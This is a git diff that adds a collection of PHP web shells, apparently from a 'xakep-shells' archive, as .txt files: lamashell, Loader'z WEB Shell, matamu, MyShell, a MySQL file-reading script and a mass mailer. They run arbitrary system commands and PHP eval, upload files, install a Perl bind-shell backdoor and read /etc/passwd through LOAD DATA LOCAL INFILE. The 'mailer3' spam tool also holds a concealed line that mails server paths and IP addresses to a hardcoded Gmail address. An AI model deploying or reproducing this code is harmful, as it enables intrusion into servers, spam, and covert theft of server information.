+ if(function_exists('system')){ $m = "system"; }
+ if(!isset($m)) //No method found :-|
+ {
+ $m = "Disabled";
+ }
+ return($m);
+}
+
+function execute_command($method,$command)
+{
+ if($method == "passthru")
+ {
+ passthru($command);
+ }
+
+ elseif($method == "exec")
+ {
+ exec($command,$result);
+ foreach($result as $output)
+ {
+ print $output." ";
+ }
+ }
+
+ elseif($method == "shell_exec")
+ {
+ print shell_exec($command);
+ }
+
+ elseif($method == "system")
+ {
+ system($command);
+ }
+
+}
+
+function perm($file)
+{
+ if(file_exists($file))
+ {
+ return substr(sprintf('%o', fileperms($file)), -4);
+ }
+ else
+ {
+ return "????";
+ }
+}
+
+function get_color($file)
+{
+if(is_writable($file)) { return "green";}
+if(!is_writable($file) && is_readable($file)) { return "white";}
+if(!is_writable($file) && !is_readable($file)) { return "red";}
+
+
+
+}
+
+function show_dirs($where)
+{
+ if(ereg("^c:",realpath($where)))
+ {
+ $dirparts = explode('\\',realpath($where));
+ }
+ else
+ {
+ $dirparts = explode('/',realpath($where));
+ }
+
+
+
+ $i = 0;
+ $total = "";
+
+ foreach($dirparts as $part)
+ {
+ $p = 0;
+ $pre = "";
+ while($p != $i)
+ {
+ $pre .= $dirparts[$p]."/";
+ $p++;
+
+ }
+ $total .= "".$part." /";
+ $i++;
+ }
+
+ return "".$total." ";
+
+}
+print $footer;
+
+// Exit: maybe we're included somewhere and we don't want the other code to mess with ours :-)
+exit();
+?>
diff --git a/xakep-shells/PHP/lamashell.php.txt b/xakep-shells/PHP/lamashell.php.txt
new file mode 100644
index 0000000..1df8222
--- /dev/null
+++ b/xakep-shells/PHP/lamashell.php.txt
@@ -0,0 +1,89 @@
+
+if($_POST['dir'] == "") {
+
+ $curdir = `pwd`;
+} else {
+ $curdir = $_POST['dir'];
+}
+
+if($_POST['king'] == "") {
+
+ $curcmd = "ls -lah";
+} else {
+ $curcmd = $_POST['king'];
+}
+
+
+?>
+
+
+
+ lama's'hell v. 3.0
+
+
+
+
+ _ _
+ / \_______ /|_\
+ / /_/ \__
+ / \_/ /
+ _|_ |/|_
+ _|_ O _ O _|_
+ _|_ (_) _|_
+ \ /
+ _\_____________/_
+ / \/ (___) \/ \
+ \__( o o )__/
+$ob = @ini_get("open_basedir");
+$df = @ini_get("disable_functions");
+if( ini_get('safe_mode') ) {
+ echo "SM: 1 \\ ";
+} else {
+ echo "SM: 0 \\ ";
+}
+if(''==$df) {
+ echo "DF: 0 \\ ";
+} else {
+ echo "DF: ".$df." \\ ";
+}
+echo "".php_uname()."\n";
+?>
+
+
+
+
+ if(($_POST['upl']) == "Upload" ) {
+ if (move_uploaded_file($_FILES['fila']['tmp_name'], $curdir."/".$_FILES['fila']['name'])) {
+ echo "The file has been uploaded ";
+ } else {
+ echo "There was an error uploading the file, please try again!";
+ }
+ }
+ if(($_POST['exe']) == "Execute") {
+ $curcmd = "cd ".$curdir.";".$curcmd;
+ $f=popen($curcmd,"r");
+ while (!feof($f)) {
+ $buffer = fgets($f, 4096);
+ $string .= $buffer;
+ }
+ pclose($f);
+ echo htmlspecialchars($string);
+ }
+?>
+
+
+
diff --git a/xakep-shells/PHP/load_shell.php.php.txt b/xakep-shells/PHP/load_shell.php.php.txt
new file mode 100644
index 0000000..86bdcc8
--- /dev/null
+++ b/xakep-shells/PHP/load_shell.php.php.txt
@@ -0,0 +1,513 @@
+
+error_reporting(0);
+/* Loader'z WEB Shell v 0.1.0.2 {15 àâãóñòà 2005}
+Âîò êàêèå îí ïîääåðæèâàåò ôóíêöèè.
+- Ðàáîòà ñ ôàéëîâîé ñèñòåìîé ñ ïîìîùüþ PHP.  óäîáíîé òàáëèöå ïðåäñòàâëåíî ñîäåðæèìîå òåêóùåé ïàêè (äîáàâëåíèå â ýòîé âåðñèè, íîðìàëüíûé âèä ïðàâ, à íå ÷èñëî :)).
+- Âûïîëíåíèå êîäà, ïõï ðóëèò ;)
+- Ðàáîòàåò ïðè register_globals=off
+- Áîëåå ïðèÿòíàÿ ðàáîòà â ñåéô ìîäå
+- Ïðîñìîòð è ðåäàêòèðîâàíèå ôàéëîâ.
+- Çàêà÷êà ôàéëîâ ñ äðóãîãî ñåðâåðà ñ ïîìîùüþ ñðåäñòâ PHP.
+- Çàêà÷êà ôàéëîâ ñ âàøåãî æåñòêîãî äèñêà.
+- Âûïîëíåíèå ïðîèçâîëüíûõ êîìàíä íà ñåðâåðå.
+- Ñêðèïò âûäàåò çíà÷åíèå íåêîòîðûõ ïåðåìåííûõ. Íàïðèìåð îí ñîîáùèò âêëþ÷åí ëè ñåéô ìîä, åñëè äà, òî ñêðèïò âûâåäåò äèðåêòîðèþ êîòîðàÿ,
+âàì äîñòóïíà, à òàê æå ïóòü, ãäå âû ìîæåòå âûïîëíÿòü êîìàíäû.
+- Ðàáîòà ñêðèïòà îñíîâàíà íà îïðåäåëåíèè òèïà ñåðâåðà.
+- Åñëè ñêðèïò ðàáîòàåò ïîä óïðàâëåíèåì ÎÑ Windows, äàííûå ïîëó÷àåìûå ïðè âûïîëíåíèè êîìàíä ïåðåêîäèðóþòñÿ â win-1251.
+- Ïðèñóòñòâóåò ïðîñòåíüêèé ñêðèïò ïåðë-áèíä. Âû ìîæåòå óêàçàòü äîìàøíþþ äèðåêòðèþ è ïîðò íà êîòîðîì ïîâåñèòñÿ áåêäîð.
+Loader Pro-Hack.ru
+*/
+?>
+
+
+
+
+
+
+Loader'z WEB shell
+
+
+
+
+
+
+&X\";
+ open STDERR, \">&X\";
+ close X;
+ exec(\"/bin/sh\");
+ }
+ close X;
+}
+";}
+
+function decode($buffer){
+
+return convert_cyr_string ($buffer, 'd', 'w');
+
+}
+
+
+
+function execute($com)
+{
+
+ if (!empty($com))
+ {
+ if(function_exists('exec'))
+ {
+ exec($com,$arr);
+ echo implode('
+',$arr);
+ }
+ elseif(function_exists('shell_exec'))
+ {
+ echo shell_exec($com);
+
+
+ }
+ elseif(function_exists('system'))
+{
+
+ echo system($com);
+}
+ elseif(function_exists('passthru'))
+ {
+
+ echo passthru($com);
+
+ }
+}
+
+}
+
+
+function perms($mode)
+{
+
+if( $mode & 0x1000 ) { $type='p'; }
+else if( $mode & 0x2000 ) { $type='c'; }
+else if( $mode & 0x4000 ) { $type='d'; }
+else if( $mode & 0x6000 ) { $type='b'; }
+else if( $mode & 0x8000 ) { $type='-'; }
+else if( $mode & 0xA000 ) { $type='l'; }
+else if( $mode & 0xC000 ) { $type='s'; }
+else $type='u';
+$owner["read"] = ($mode & 00400) ? 'r' : '-';
+$owner["write"] = ($mode & 00200) ? 'w' : '-';
+$owner["execute"] = ($mode & 00100) ? 'x' : '-';
+$group["read"] = ($mode & 00040) ? 'r' : '-';
+$group["write"] = ($mode & 00020) ? 'w' : '-';
+$group["execute"] = ($mode & 00010) ? 'x' : '-';
+$world["read"] = ($mode & 00004) ? 'r' : '-';
+$world["write"] = ($mode & 00002) ? 'w' : '-';
+$world["execute"] = ($mode & 00001) ? 'x' : '-';
+if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
+if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
+if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
+$s=sprintf("%1s", $type);
+$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
+$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
+$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
+return trim($s);
+}
+
+
+
+/*Íà÷èíàåòñÿ*/
+
+/*Îïðåäåëÿåì òèï ñèñòåìû*/
+$servsoft = $_SERVER['SERVER_SOFTWARE'];
+
+if (ereg("Win32", $servsoft, $reg)){
+$sertype = "winda";
+}
+else
+{
+$sertype = "other";}
+
+
+
+echo $servsoft . " ";
+chdir($dir);
+echo "Total space " . (int)(disk_total_space(getcwd())/(1024*1024)) . "Mb " . "Free space " . (int)(disk_free_space(getcwd())/(1024*1024)) . "Mb ";
+
+
+
+
+
+if (ini_get('safe_mode') <> 1){
+if ($sertype == "winda"){
+
+ob_start('decode');
+echo "OS: ";
+echo execute("ver") . " ";
+ob_end_flush();
+}
+
+if ($sertype == "other"){
+echo "id:";
+
+echo execute("id") . " ";
+echo "uname:" . execute('uname -a') . " ";
+}}
+else{
+if ($sertype == "winda"){
+
+echo "OS: " . php_uname() . " ";
+
+}
+
+if ($sertype == "other"){
+echo "id:";
+
+echo execute("id") . " ";
+echo "OS:" . php_uname() . " ";
+}
+}
+
+echo 'User: ' .get_current_user() . ' ';
+
+
+
+if (ini_get("open_basedir")){
+echo "open_basedir: " . ini_get("open_basedir");}
+
+
+if (ini_get('safe_mode') == 1){
+echo "Safe mode :(";
+
+if (ini_get('safe_mode_include_dir')){
+echo "Including from here: " . ini_get('safe_mode_include_dir'); }
+if (ini_get('safe_mode_exec_dir')){
+echo " Exec here: " . ini_get('safe_mode_exec_dir');
+}
+echo " ";}
+
+
+
+
+if(isset($_POST['post']) and $_POST['post'] == "yes" and @$HTTP_POST_FILES["userfile"][name] !== "")
+{
+copy($HTTP_POST_FILES["userfile"]["tmp_name"],$HTTP_POST_FILES["userfile"]["name"]);
+}
+
+if((isset($_POST['fileto']))||(isset($_POST['filefrom'])))
+
+{
+$data = implode("", file($_POST['filefrom']));
+$fp = fopen($_POST['fileto'], "wb");
+fputs($fp, $data);
+$ok = fclose($fp);
+if($ok)
+{
+$size = filesize($_POST['fileto'])/1024;
+$sizef = sprintf("%.2f", $size);
+print "Download - OK. (".$sizef."êÁ)
";
+}
+else
+{
+print "Something is wrong. Download - IS NOT OK
";
+}
+}
+
+if (isset($_POST['installbind'])){
+
+if (is_dir($_POST['installpath']) == true){
+chdir($_POST['installpath']);
+$_POST['installpath'] = "temp.pl";}
+
+
+$fp = fopen($_POST['installpath'], "w");
+fwrite($fp, $bind);
+fclose($fp);
+
+exec("perl " . $_POST['installpath']);
+chdir($dir);
+
+
+}
+
+
+@$ef = stripslashes($_POST['editfile']);
+if ($ef){
+$fp = fopen($ef, "r");
+$filearr = file($ef);
+
+
+
+$string = '';
+$content = '';
+foreach ($filearr as $string){
+$string = str_replace("<" , "<" , $string);
+$string = str_replace(">" , ">" , $string);
+$content = $content . $string;
+}
+
+echo "Edit file: $ef
$content
+
+
+ ";
+fclose($fp);
+}
+
+if(isset($_POST['savefile'])){
+
+$fp = fopen($_POST['savefile'], "w");
+$content = stripslashes($content);
+fwrite($fp, $content);
+fclose($fp);
+echo "Successfully saved!
";
+
+}
+
+
+if (isset($_POST['php'])){
+
+echo "PHP code
+ ";
+}
+
+
+
+if(isset($_POST['phpcode'])){
+
+echo "Results of PHP execution ";
+@eval(stripslashes($_POST['phpcode']));
+echo "
";
+
+
+}
+
+
+if ($cmd){
+
+if($sertype == "winda"){
+ob_start();
+execute($cmd);
+$buffer = "";
+$buffer = ob_get_contents();
+ob_end_clean();
+}
+else{
+ob_start();
+echo decode(execute($cmd));
+$buffer = "";
+$buffer = ob_get_contents();
+ob_end_clean();
+}
+
+if (trim($buffer)){
+echo "Command: $cmd";
+echo decode($buffer);
+echo "
";
+}
+
+}
+$arr = array();
+
+$arr = array_merge($arr, glob("*"));
+$arr = array_merge($arr, glob(".*"));
+$arr = array_merge($arr, glob("*.*"));
+$arr = array_unique($arr);
+sort($arr);
+echo "Name Type Size Last access Last change Perms Write Read ";
+
+foreach ($arr as $filename) {
+
+if ($filename != "." and $filename != ".."){
+
+if (is_dir($filename) == true){
+$directory = "";
+$directory = $directory . "$filename " . filetype($filename) . " " . date("G:i j M Y",fileatime($filename)) . " " . date("G:i j M Y",filemtime($filename)) . " " . perms(fileperms($filename));
+if (is_writable($filename) == true){
+$directory = $directory . " Yes ";}
+else{
+$directory = $directory . "No ";
+
+}
+
+if (is_readable($filename) == true){
+$directory = $directory . "Yes ";}
+else{
+$directory = $directory . "No ";
+}
+$dires = $dires . $directory;
+}
+
+if (is_file($filename) == true){
+$file = "";
+$file = $file . "$filename " . filetype($filename) . " " . filesize($filename) . " " . date("G:i j M Y",fileatime($filename)) . " " . date("G:i j M Y",filemtime($filename)) . " " . perms(fileperms($filename));
+if (is_writable($filename) == true){
+$file = $file . " Yes ";}
+else{
+$file = $file . "No ";
+}
+
+if (is_readable($filename) == true){
+$file = $file . "Yes ";}
+else{
+$file = $file . "No ";
+}
+$files = $files . $file;
+}
+
+
+
+}
+
+
+
+}
+echo $dires;
+echo $files;
+echo "
";
+
+
+
+
+echo "
+
+
+
+
+ ";
+
+
+
+echo "";
+
+echo "
+
+
+
+
+
+
+
+Coded by Loader Pro-Hack.RU
+
+
+
+
+
+
diff --git a/xakep-shells/PHP/mailer3.php.php.txt b/xakep-shells/PHP/mailer3.php.php.txt
new file mode 100644
index 0000000..2865e14
--- /dev/null
+++ b/xakep-shells/PHP/mailer3.php.php.txt
@@ -0,0 +1,182 @@
+
+if ($action=="send"){
+$message = urlencode($message);
+$message = ereg_replace("%5C%22", "%22", $message);
+$message = urldecode($message);
+$message = stripslashes($message);
+$subject = stripslashes($subject);
+}
+
+?>
+
+
+
+
+
+
+
+Designed by:
+ v1.5
+
+
+
+
+
+
+
+if ($action=="send"){
+
+if (!$from && !$subject && !$message && !$emaillist){
+print "Please complete all fields before sending your message.";
+exit;
+}
+
+$allemails = split("\n", $emaillist);
+$numemails = count($allemails);
+
+#Open the file attachment if any, and base64_encode it for email transport
+If ($file_name){
+@copy($file, "./$file_name") or die("The file you are trying to upload couldn't be copied to the server");
+$content = fread(fopen($file,"r"),filesize($file));
+$content = chunk_split(base64_encode($content));
+$uid = strtoupper(md5(uniqid(time())));
+$name = basename($file);
+}
+
+for($x=0; $x<$numemails; $x++){
+$to = $allemails[$x];
+if ($to){
+$to = ereg_replace(" ", "", $to);
+$message = ereg_replace("&email&", $to, $message);
+$subject = ereg_replace("&email&", $to, $subject);
+print "Sending mail to $to....... ";
+flush();
+$header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
+$header .= "MIME-Version: 1.0\r\n";
+If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
+If ($file_name) $header .= "--$uid\r\n";
+$header .= "Content-Type: text/$contenttype\r\n";
+$header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
+$header .= "$message\r\n";
+If ($file_name) $header .= "--$uid\r\n";
+If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
+If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
+If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n"; $ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98");
+If ($file_name) $header .= "$content\r\n";
+If ($file_name) $header .= "--$uid--";
+mail($to, $subject, "", $header);
+print "Spamed'> ";
+flush();
+}
+}
+
+}
+?>
+
+
+
+
+
+
+
diff --git a/xakep-shells/PHP/matamu.php.txt b/xakep-shells/PHP/matamu.php.txt
new file mode 100644
index 0000000..ef13ce8
--- /dev/null
+++ b/xakep-shells/PHP/matamu.php.txt
@@ -0,0 +1,146 @@
+
+
+
+
+ Matamu Mat
+
+
+
+
+
+
+
+Current working directory:
+Root/';
+
+if (!empty($work_dir_splitted[0])) {
+ $path = '';
+ for ($i = 0; $i < count($work_dir_splitted); $i++) {
+ $path .= '/' . $work_dir_splitted[$i];
+ printf('%s /',
+ $PHP_SELF, urlencode($path), $work_dir_splitted[$i]);
+ }
+}
+
+?>
+Choose new working directory:
+
+Current Directory\n";
+ } elseif ($dir == '..') {
+ /* We have found the parent dir. We must be carefull if the parent
+ directory is the root directory (/). */
+ if (strlen($work_dir) == 1) {
+ /* work_dir is only 1 charecter - it can only be / There's no
+ parent directory then. */
+ } elseif (strrpos($work_dir, '/') == 0) {
+ /* The last / in work_dir were the first charecter.
+ This means that we have a top-level directory
+ eg. /bin or /home etc... */
+ echo "Parent Directory \n";
+ } else {
+ /* We do a little bit of string-manipulation to find the parent
+ directory... Trust me - it works :-) */
+ echo "Parent Directory \n";
+ }
+ } else {
+ if ($work_dir == '/') {
+ echo "$dir \n";
+ } else {
+ echo "$dir \n";
+ }
+ }
+ }
+}
+closedir($dir_handle);
+
+?>
+
+
+
+Command:
+
+
+Enable stderr
-trapping?
+
+
+ $tmpfile 2>&1; " .
+ "cat $tmpfile; rm $tmpfile";
+ } else if ($command == 'ls') {
+ /* ls looks much better with ' -F', IMHO. */
+ $command .= ' -F';
+ }
+ system($command);
+}
+?>
+
+
+
+
+
+
+
+
+
+
diff --git a/xakep-shells/PHP/myshell.php.php.txt b/xakep-shells/PHP/myshell.php.php.txt
new file mode 100644
index 0000000..69d8801
--- /dev/null
+++ b/xakep-shells/PHP/myshell.php.php.txt
@@ -0,0 +1,420 @@
+
+ based on the original program phpShell by Martin Geisler
+
+ This program is free software; you can redistribute it and/or
+ modify it under the terms of the GNU General Public License
+ as published by the Free Software Foundation; either version 2
+ of the License, or (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You can get a copy of the GNU General Public License from this
+ address: http://www.gnu.org/copyleft/gpl.html#SEC1
+ You can also write to the Free Software Foundation, Inc., 59 Temple
+ Place - Suite 330, Boston, MA 02111-1307, USA.
+*/
+
+#$selfSecure enables built-in authenticate feature. This must be 0 in order to
+#use .htaccess file or other alternative method to control access to MyShell.
+#Set up your user and password using $shellUser and $shellPswd.
+#DO NOT TURN THIS OFF UNLESS YOU HAVE AN ALTERNATE METHOD TO PROTECT
+#ACCESS TO THE SCRIPT.
+
+$selfSecure = 0;
+$shellUser = "";
+$shellPswd = "";
+
+#$adminEmail is the email address to send warning notifications in case
+#someone tries to access the script and fails to provide correct user and
+#password. This only works if you have $selfSecure enabeled.
+
+$adminEmail = "******@mail.ru";
+
+#$fromEmail is the email address warning messages are sended from.
+#This defaults to the server admin, but you can change
+#to any address you want i.e.: noreplay@yourdomain.com
+#This only works if you have $selfSecure enabeled.
+
+$fromEmail = $HTTP_SERVER_VARS["SERVER_ADMIN"];
+
+#$dirLimit is the top directory allowed to change when using cd command
+#or the form selector. Any attempt to change to a directory up to this
+#level bounces MyShell to this directory. i.e.: $dirLimit = "/home";
+#It is a good practice to set it to $DOCUMENT_ROOT using:
+#$dirLimit = $DOCUMENT_ROOT;
+#If you want to have access to all server directories leave it blank.
+#WARNING: Althought a user won't be able to snoop on directories above
+#this level using MyShell, he/she will still be able to excecute
+#commands on any directory where Webserver has permission,
+#i.e.: mkdir /tmp/mydir or cat /home/otheruser/.htaccess.
+
+$dirLimit = "";
+
+#$autoErrorTrap Enable automatic error traping if command returns error.
+#Bear in mind that MyShell executes the command a second time in order to
+#trap the stderr. This shouldn't be a problem in most cases.
+#If you turn it off, you'll have to select either to trap stderr or not for
+#every command you excecute.
+
+$autoErrorTrap = 1;
+
+#$voidCommands is the list of commands that MyShell won't run by any means.
+#It defaults to known problematic commands from a web interface like pico,
+#top, xterm but also it can include specific commands you don't want to
+#be excecuted from MyShell, i.e.: dig, ping, info, kill etc.
+
+$voidCommands = array("top","xterm","su","vi","pico","netscape");
+
+#$TexEd Built-in Text Editor prefered name. This is the command you'll use
+#to invoke MyShell's built in text editor.
+# If you are used to type pico or vi for your fav text editor,
+#change this to your please. i.e.:
+# $TexEd = "pico";
+#will allow you to type 'pico config.php' to edit the file config.php
+#MyShell's text editor do not support usual commands in pico, vi etc.
+#Don't forget to take off this command from the $voidCommands list
+$TexEd = "edit";
+
+#$editWrap selects to use or not wrap in the editor's textarea. Wrap OFF
+#is usefull when you have to edit files with long lines, i.e.: in php code
+#files, because otherwise it is no easy to distinguish a real new line (CR)
+#from a wraped one. If you prefer to stick to the default wraped mode of
+#TEXTAREA just leave this blank i.e.: $editWrap="".
+$editWrap ="wrap='OFF'";
+
+#Cosmetic defaults.
+
+$termCols = 80; //Default width of the output text area
+$termRows = 20; //Default heght of the output text area
+$bgColor = "#000000"; //background color
+$bgInputColor = "#333333"; //color of the input field
+$outColor = "#00BB00"; //color of the text output from the server
+$textColor = "#009900"; //color of the hard texts of the terminal
+$linkColor = "#00FF00"; //color of the links
+
+/************** No customize needed from this point *************/
+
+$MyShellVersion = "MyShell 1.1.0 build 20010923";
+if ($command&&get_magic_quotes_gpc())$command=stripslashes($command);
+if($selfSecure){
+ if (($PHP_AUTH_USER!=$shellUser)||($PHP_AUTH_PW!=$shellPswd)) {
+ Header('WWW-Authenticate: Basic realm="MyShell"');
+ Header('HTTP/1.0 401 Unauthorized');
+ echo "
+
+ $MyShellVersion - Access Denied
+
+ Access denied
+ A warning message have been sended to the administrator
+
+ $MyShellVersion ";
+ if(isset($PHP_AUTH_USER)){
+ $warnMsg ="
+ This is $MyShellVersion
+ installed on: http://".$HTTP_SERVER_VARS["HTTP_HOST"]."$PHP_SELF
+ just to let you know that somebody tryed to access
+ the script using wrong username or password:
+
+ Date: ".date("Y-m-d H:i:s")."
+ IP: ".$HTTP_SERVER_VARS["REMOTE_ADDR"]."
+ User Agent: ".$HTTP_SERVER_VARS["HTTP_USER_AGENT"]."
+ username used: $PHP_AUTH_USER
+ password used: $PHP_AUTH_PW
+
+ If this is not the first time it happens,
+ please consider either to remove MyShell
+ from your system or change it's name or
+ directory location on your server.
+
+ Regards
+ The MyShell dev team
+ ";
+ mail($adminEmail,"MyShell Warning - Unauthorized Access",$warnMsg,
+ "From: $fromEmail\nX-Mailer:$MyShellVersion AutoWarn System");
+ }
+ exit;
+ }
+}
+//Function that validate directories
+function validate_dir($dir){
+ GLOBAL $dirLimit;
+ if($dirLimit){
+ $cdPos = strpos($dir,$dirLimit);
+ if ((string)$cdPos == "") {
+ $dir = $dirLimit;
+ $GLOBALS["shellOutput"] = "You are not allowed change to directories above $dirLimit\n";
+ }
+ }
+ return $dir;
+}
+
+// Set working directory.
+if (isset($work_dir)) {
+ //A workdir has been asked for - we chdir to that dir.
+ $work_dir = validate_dir($work_dir);
+ @chdir($work_dir) or
+ ($shellOutput = "MyShell: can't change directory. Permission denied\nSwitching back to $DOCUMENT_ROOT\n");
+ $work_dir = exec("pwd");
+}
+else{
+ // No work_dir - we chdir to $DOCUMENT_ROOT
+ $work_dir = validate_dir($DOCUMENT_ROOT);
+ chdir($work_dir);
+ $work_dir = exec("pwd");
+}
+
+//Now we handle files if we are in Edit Mode
+if($editMode && ($command||$editCancel))$editMode=false;
+if($editMode){
+ if($editSave ||$editSaveExit){
+ if(function_exists(ini_set))ini_set("track_errors","1");
+ if($fp=@fopen($file,"w")){
+ if(get_magic_quotes_gpc())$shellOut=stripslashes($shellOut);
+ fputs($fp,$shellOut);
+ fclose($fp);
+ $command = $TexEd." ".$file;
+ if($editSaveExit) {
+ $command="";
+ $shellOutput="MyShell: $file: saved";
+ $editMode=false;
+ }
+ }
+ else {
+ $command="";
+ $shellOutput="MyShell: Error while saving $file:\n$php_errormsg\nUse back button to recover your changes.";
+ $errorSave=true;
+ }
+ }
+}
+
+//Separate command(s) and arguments to analize first command
+$input=explode(" ",$command);
+
+while (list ($key, $val) = each ($voidCommands)) {
+ if($input[0]==$val){
+ $voidCmd = $input[0];
+ $input[0]="void";
+ }
+}
+switch($input[0]){
+ case "cd":
+ $path=$input[1];
+ if ($path==".."){
+ $work_dir=strrev(substr(strstr(strrev($work_dir), "/"), 1));
+ if ($work_dir == "") $work_dir = "/";
+ }
+ elseif (substr($path,0,1)=="/")$work_dir=$path;
+ else $work_dir=$work_dir."/".$path;
+ $work_dir = validate_dir($work_dir);
+ @chdir($work_dir) or ($shellOutput = "MyShell: can't change directory.\n$work_dir: does not exist or permission denied");
+ $work_dir = exec("pwd");
+ $commandBk = $command;
+ $command = "";
+ break;
+ case "man":
+ exec($command,$man);
+ if($man){
+ $codes = ".".chr(8);
+ $manual = implode("\n",$man);
+ $shellOutput = ereg_replace($codes,"",$manual);
+ $commandBk = $command;
+ $command = "";
+ }
+ else $stderr=1;
+ break;
+ case "cat":
+ exec($command,$cat);
+ if($cat){
+ $text = implode("\n",$cat);
+ $shellOutput = htmlspecialchars($text);
+ $commandBk = $command;
+ $command = "";
+ }
+ else $stderr=1;
+ break;
+ case "more":
+ exec($command,$cat);
+ if($cat){
+ $text = implode("\n",$cat);
+ $shellOutput = htmlspecialchars($text);
+ $commandBk = $command;
+ $command = "";
+ }
+ else $stderr=1;
+ break;
+ case $TexEd:
+ if(file_exists($input[1])){
+ exec("cat ".$input[1],$cat);
+ $text = implode("\n",$cat);
+ $shellOutput = htmlspecialchars($text);
+ $fileOwner = posix_getpwuid(fileowner($input[1]));
+ $filePerms = sprintf("%o", (fileperms($input[1])) & 0777);
+ $fileEditInfo = " ::::::: Owner: ".$fileOwner["name"]." Permissions: $filePerms ";
+ }
+ else $fileEditInfo = " ::::::: NEW FILE ";
+ $currFile = $input[1];
+ $editMode = true;
+ $command = "";
+ break;
+ case "void":
+ $shellOutput = "MyShell: $voidCmd: void command for MyShell";
+ $commandBk = $command;
+ $command = "";
+}
+
+//Now we prepare the webpage
+if(!$oCols)$oCols=$termCols;
+if(!$oRows)$oRows=$termRows;
+if($editMode)$focus="shellOut.focus()";
+else $focus="command.select()";
+//WhoamI
+if(!$whoami)$whoami=exec("whoami");
+?>
+
+
+
+
+
+>
+
+Current User:
+ >
+ :::::::
+
+if($editMode){
+ echo "MyShell file editor File:$work_dir/$currFile $fileEditInfo\n";
+}
+else{
+ echo "Current working directory: \n";
+ $work_dir_splitted = explode("/", substr($work_dir, 1));
+ echo "Root /";
+ if ($work_dir_splitted[0] == "") {
+ $work_dir = "/"; /* Root directory. */
+ }
+ else{
+ for ($i = 0; $i < count($work_dir_splitted); $i++) {
+ $url .= "/".$work_dir_splitted[$i];
+ echo "$work_dir_splitted[$i] / ";
+ }
+ }
+}
+?>
+
+ >
+
+echo $shellOutput;
+if ($command) {
+ if ($stderr) {
+ system($command . " 1> /tmp/output.txt 2>&1; cat /tmp/output.txt; rm /tmp/output.txt");
+ }
+ else {
+ $ok = system($command,$status);
+ if($ok==false &&$status && $autoErrorTrap)system($command . " 1> /tmp/output.txt 2>&1; cat /tmp/output.txt; rm /tmp/output.txt");
+ }
+}
+if ($commandBk) $command = $commandBk;
+?>
+
+
+
+if($editMode) echo"
+
+
+
+
+
+
+ ";
+?>
+
+Command:
+ >
+
+
+if ($autoErrorTrap) echo "Auto error traping enabled";
+else echo " stderr-traping ";
+
+if($editMode){
+ echo "
+ Save file as: ";
+}
+else{
+ echo " Working directory: ";
+ // List of directories.
+ $dir_handle = opendir($work_dir);
+ while ($dir = readdir($dir_handle)) {
+ if (is_dir($dir)) {
+ if ($dir == ".")
+ echo "Current Directory \n";
+ elseif ($dir == "..") {
+ // Parent Dir. This might be server's root directory
+ if (strlen($work_dir) == 1) {
+ // work_dir is only 1 charecter - it can only be / so don't output anything
+ }
+ elseif (strrpos($work_dir, "/") == 0) { // we have a top-level directory eg. /bin or /home etc...
+ echo "Parent Directory \n";
+ }
+ else { // String-manipulation to find the parent directory... Trust me - it works :-)
+ echo "Parent Directory \n";
+ }
+ }
+ else {
+ if ($work_dir == "/")
+ echo "$dir \n";
+ else
+ echo "$dir \n";
+ }
+ }
+ }
+ closedir($dir_handle);
+ echo " ";
+}
+?>
+ | >Echo commands
+ | Cols: >
+ Rows: >
+ | :::::::::: MyShell ©2001 Digitart Producciones
+
+
+
diff --git a/xakep-shells/PHP/mysql.php.php.txt b/xakep-shells/PHP/mysql.php.php.txt
new file mode 100644
index 0000000..d08917a
--- /dev/null
+++ b/xakep-shells/PHP/mysql.php.php.txt
@@ -0,0 +1,1231 @@
+
+
+
+
+:: phpHS :: PHP HVA Shell Script ::
+
+ text="#CCCCCC" link="#CCCCCC" vlink="#CCCCCC" alink="#CCCCCC">
+
+ if (!$PHP_SELF) { $PHP_SELF="mysql.php"; /* no PHP_SELF on default freeBSD PHP 4.2.1??? */ }
+
+ if ($action=="check") {
+ echo "";
+ if ($mysql_use!="no") {
+ $phpcheck = new php_check($mhost, $muser, $mpass, $mdb);
+ } else { $phpcheck = new php_check(); }
+ echo " ";
+ }
+ if ($action=="mysqlread") {
+ // $file
+
+ if (!$file) { $file = "/etc/passwd"; }
+ ?>
+
+
+
+ for ($i=0;count($mysql_files)>$i;$i++) { ?>
+ >
+ $bla = explode('/', $mysql_files[$i]);
+ $p = count($bla)-1;
+ echo $bla[$p];
+ ?>
+ } ?>
+
+ [ load all defaults ]
+
+
+ echo "";
+ // regular LOAD DATA LOCAL INFILE
+ if (!$mass) {
+ $sql = array (
+ "USE $mdb",
+
+ 'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
+
+ "LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS "
+ . "TERMINATED BY '__THIS_NEVER_HAPPENS__' "
+ . "ESCAPED BY '' "
+ . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
+
+ "SELECT a FROM $tbl LIMIT 1"
+ );
+
+
+ mysql_connect ($mhost, $muser, $mpass);
